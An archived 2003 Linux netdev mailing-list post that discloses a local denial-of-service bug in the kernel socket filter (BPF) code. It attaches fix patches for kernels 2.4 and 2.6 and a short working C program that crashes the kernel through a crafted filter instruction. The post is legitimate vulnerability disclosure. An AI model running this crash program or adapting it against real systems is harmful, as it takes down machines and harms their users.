netdev.vger.kernel.org archive mirror
 help / color / mirror / Atom feed
* Local dos in linux socket filters
@ 2003-07-25 18:20 Patrick McHardy
  0 siblings, 0 replies; only message in thread
From: Patrick McHardy @ 2003-07-25 18:20 UTC (permalink / raw)
  To: netdev, linux-net

[-- Attachment #1: Type: text/plain, Size: 508 bytes --]

Dave Miller asked me to post this so it is public:

The Linux Socket Filter implementation contains a bug which
can lead to a local dos. Due to a unsigned->signed conversion
and insufficient bounds checking it is possible to crash the kernel
by accessing unmapped memory. The bug was introduced
during the attempt to fix other signedness issues in 2.4.3-pre3.

The attached two patches for 2.4 and 2.6 fix the problem (already
in davem's tree). Also attached is a program to crash your kernel.

Bye,
Patrick

[-- Attachment #2: linux-2.4-sock_filter-dos.diff --]
[-- Type: text/plain, Size: 422 bytes --]

===== filter.c 1.3 vs edited =====
--- 1.3/net/core/filter.c	Tue Feb  5 08:40:16 2002
+++ edited/filter.c	Fri Jul 25 02:16:30 2003
@@ -294,10 +294,9 @@
 				goto load_b;
 
 			case BPF_LDX|BPF_B|BPF_MSH:
-				k = fentry->k;
-				if(k >= 0 && (unsigned int)k >= len)
+				if(fentry->k >= len)
 					return (0);
-				X = (data[k] & 0xf) << 2;
+				X = (data[fentry->k] & 0xf) << 2;
 				continue;
 
 			case BPF_LD|BPF_IMM:

[-- Attachment #3: linux-2.6-sock_filter-dos.diff --]
[-- Type: text/plain, Size: 468 bytes --]

===== net/core/filter.c 1.6 vs edited =====
--- 1.6/net/core/filter.c	Thu Jun  5 02:57:08 2003
+++ edited/net/core/filter.c	Fri Jul 25 02:35:07 2003
@@ -256,10 +256,9 @@
 			k = X + fentry->k;
 			goto load_b;
 		case BPF_LDX|BPF_B|BPF_MSH:
-			k = fentry->k;
-			if (k >= 0 && (unsigned int)k >= len)
+			if (fentry->k >= len)
 				return 0;
-			X = (data[k] & 0xf) << 2;
+			X = (data[fentry->k] & 0xf) << 2;
 			continue;
 		case BPF_LD|BPF_IMM:
 			A = fentry->k;

[-- Attachment #4: socketfilter.c --]
[-- Type: text/x-csrc, Size: 949 bytes --]

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <net/bpf.h>
#include <errno.h>

int main(int argc, char **argv)
{
	struct sockaddr_in sin;
	struct bpf_program bp;
	struct bpf_insn buf[10];
	char rcvbuf[2000];
	int i = 0;
	int fd;

	fd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
	if (fd < 0) {
		perror("socket");
		exit(1);
	}

	memset(buf, 0, sizeof(buf));

	buf[i].code = BPF_LDX|BPF_B|BPF_MSH;
	buf[i].k    = (1<<31) + (1<<29);
	i++;
	
	buf[i].code = BPF_RET;
	i++;

	bp.bf_len = i;
	bp.bf_insns = buf;

	if (setsockopt(fd, SOL_SOCKET, SO_ATTACH_FILTER, &bp, sizeof(bp)) < 0) {
		perror("setsockopt");
		exit(1);
	}

	sin.sin_family      = AF_INET;
	sin.sin_addr.s_addr = INADDR_ANY;
	sin.sin_port        = htons(10000);

	if (bind(fd, (struct sockaddr *)&sin, sizeof(sin)) < 0) {
		perror("bind");
		exit(1);
	}

	if (recvfrom(fd, rcvbuf, sizeof(rcvbuf), 0, NULL, 0) < 0) {
		perror("recvfrom");
		exit(1);
	}
}

^ permalink raw reply	[flat|nested] only message in thread

only message in thread, other threads:[~2003-07-25 18:20 UTC | newest]

Thread overview: (only message) (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2003-07-25 18:20 Local dos in linux socket filters Patrick McHardy

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox;
as well as URLs for NNTP newsgroup(s).